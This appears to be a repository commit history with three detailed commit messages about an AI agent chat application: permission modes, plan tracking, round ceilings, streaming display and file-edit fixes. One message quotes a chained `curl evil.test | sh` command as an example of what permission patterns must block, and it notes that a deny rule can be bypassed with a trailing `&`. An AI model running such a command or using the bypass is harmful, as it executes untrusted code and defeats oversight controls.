Commit Graph

3 Commits

Author SHA1 Message Date
Jaroslav Beneš 7df68eb44c A reply you can read while it is still being written
Seven things, and the thread running through them is that the machinery was
right and what a person saw of it was not.

Auto asked about every compound command. `policy.subject` refuses to let any
pattern match a line carrying a shell metacharacter -- correct, and the whole
reason `git *` cannot also mean `git status; curl evil.test | sh` -- and a rule
on top of that asked whenever a deny list existed at all. The shipped deny list
is non-empty, so `cd build && make` and `pytest | tail` both stopped for
approval in the one mode whose purpose is not stopping. Nobody read that as a
security control; they read it as Auto not working. It is gone, and what it
costs is written down beside it and under the admin field: a deny pattern can be
walked past with a trailing `&`. Matching each segment would restore both.

A forty-round agent reply rendered as three zones -- all the thinking, then
every tool block, then all the prose -- which is fine at two rounds and
unreadable at forty. `Message.steps_json` is a table of contents over the three
stores rather than a fourth copy of any of them, so `build_messages`, compaction
and titling still see one string. No marks means the old layout, which is what
every existing row reads back, with no version flag and no branch in the
template.

Nothing could be expanded while a reply streamed, and that was two faults. The
tool list was replaced wholesale twelve times a second, so an opened block shut
itself within 80ms; the ids are stable now and steps.js puts them back, across
the final swap as well. And the thread snapped to the bottom on every frame, so
a block that did open was scrolled off -- opening one now stops it following
until you scroll back down yourself. Both driven under a DOM stub before
committing, per the note in CLAUDE.md.

The metrics were never wrong, which is why this looked like arithmetic and was
not. One chip is what the reply cost and the other is what the conversation
occupies; on a multi-round reply those differ by a lot and neither said which it
was. What was broken is that they stood still -- usage arrives once a round, and
`reported or estimated` stops consulting the estimate the moment the first chunk
lands -- and that the `~` marking an estimate vanished at exactly the point
everything became one. Interpolated between counts now, never over them.

Background jobs had no surface at all. A chip counting what is still running and
a panel with each job's command, state, log tail and a Stop button; the fifth
exception to "the modes govern the model, not the interface", for the reason the
other four are.

file_edit had two faults worth more than the error text. A file it could not
read was reported to the model as an empty one, and a file too large to read
whole was patched and written back by a call that replaces -- deleting
everything past the ceiling, silently, and reporting success with a byte count.
Both refused now. A refused hunk also prints the file around where it landed,
which is most of the retry loop these models get into.

And a model can talk itself to a standstill: a round with no tool calls is a
model saying it has finished, so pages of "Ready? GO! ... Wait ... Actually ..."
ended the reply having done nothing. `core.commit` is the prompt half and a
second nudge signal is the other, narrowed to a long reply that touched nothing
so that finishing is never argued with.

Also: the scope menu is called Toggle and no longer offers to type an `@` for
you, and "Always allow this" says when it has stored nothing rather than
appearing to work.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-04 19:02:07 +02:00
Jaroslav Beneš a5fa982ae3 A ceiling for a chat, and a nudge for an agent that stops early
MAX_ROUNDS = 1 was wrong, and wrong in a way worth writing down. The loop
already ends the moment a round comes back with no tool calls -- that is the
model saying it has what it needs, and it is the termination condition every
agentic harness uses. A round limit was never a schedule; it exists to catch the
case where the model never says so. One is low enough to stop being a ceiling
and start being a schedule: it overrode the model's judgement on every single
turn.

And it broke something concrete. Several built-ins are two-step pairs --
knowledge_get and notes_get read a document "by the id a search returned" -- so
one round left the library searchable and not readable. That is not an edge
case, it is the library working at half depth, and I understated it as "cannot
search the web and then read a result" when the change went in.

It is a setting now, under General, default 5, with 0 meaning no ceiling. The
loop and the harness both read settings_store.chat_rounds, so the model is never
told a budget that is not its own; tools.MAX_ROUNDS is the fallback for callers
with no session and a test pins the two equal. core.rounds goes back to naming
the number, and vanishes entirely when there is no ceiling rather than promising
zero rounds.

The other half of "let it decide how long to go": an agent reply that ends while
its plan still has open tasks is asked once to carry on. Only against a plan,
because that is the one thing there is to be objectively wrong about -- a model
with no plan that says it has finished is believed, and arguing with it would be
guessing. At most twice in a row, with the count reset the moment it calls a
tool again, so the bound is on consecutive stops rather than on stops in total.
Never in Plan mode and never past plan_submit, which ends the turn on purpose.
Giving up is recorded as an event rather than left silent.

The model's own words go back with the nudge, which turned up a real bug on the
way: ReasoningSplitter holds back a few characters against a <think> tag split
across chunks, so round_text at the end of a round was missing its tail. That
text is echoed as an assistant turn for tool rounds too, so a model has been
occasionally asked to continue from a transcript where it trailed off
mid-sentence. Flushed per round now.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-03 12:41:36 +02:00
Jaroslav Beneš 4b8fd6bad2 A plan it can see is a plan it can keep
Plan mode produced a flat list of steps and then forgot it. Nothing told the
model to look before proposing, nothing let it ask when the scope was
ambiguous, and -- worst -- once execution started the plan was not in the prompt
at all, so it could not have kept it current if it had wanted to.

The shape is findings, objectives and phases of tasks now. Findings are the part
people skip and the part that makes a plan worth reading: what is actually
there, what surprised you, what the plan is working around. Plan mode is told to
research first and to ask with ask_user when the scope is genuinely ambiguous,
in one question rather than three.

steps is still always written, flattened from every phase in order. That is the
whole of the compatibility story: execute_plan reads it and needed no change,
and every row already on disk still works. services/plans.py:normalise is the
only place that knows version 1 existed -- a {title, steps} row comes back as
one phase, so the card, the harness and the Execute button have one shape to
deal with rather than two.

Chat.plan_message_id is what puts the plan in front of the model each turn, with
one primary-key lookup rather than a scan for "the newest message carrying a
plan" -- context_variables is synchronous and sits on the request path.
plan_update is offered only once there is a plan, because a tool for changing
something that does not exist costs a round to find out.

It is RISK_READ, and that sits in tension with notes_edit being RISK_WRITE, so:
risk is what a tool does to the world, and the world the four modes govern is
the machine. This cannot touch it. RISK_WRITE would put an approval card on
screen every time a task was ticked off -- four cards to carry out a four-task
plan, each approving a bookkeeping entry -- which is exactly the interruption
batching exists to prevent. A note is a durable artefact of the reader's that
outlives the chat; this is the chat's own record of what it is doing, nearer to
generation.status. An administrator who disagrees puts it in deny_default.

One thing that nearly went wrong quietly. A runner cannot write the message row,
since _persist is the single writer -- so plan_update returns the merged plan on
its event and the loop carries it. Both calls in a round would then have read
the same stale plan from the database and the second would have won. They merge
into AgentContext.plan instead, the snapshot seeded once when the context is
resolved. Both tools write event["plan"] so _persist stays one writer with one
rule; only plan_submit sets plan_final, which is what withdraws the tools.

The card does not re-render in place. The newest bubble carries the current plan
and older ones carry the plan as it was then -- that is what a transcript is
for, it needs no streaming machinery, and it makes "what did it think at step
three" answerable.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-03 11:14:34 +02:00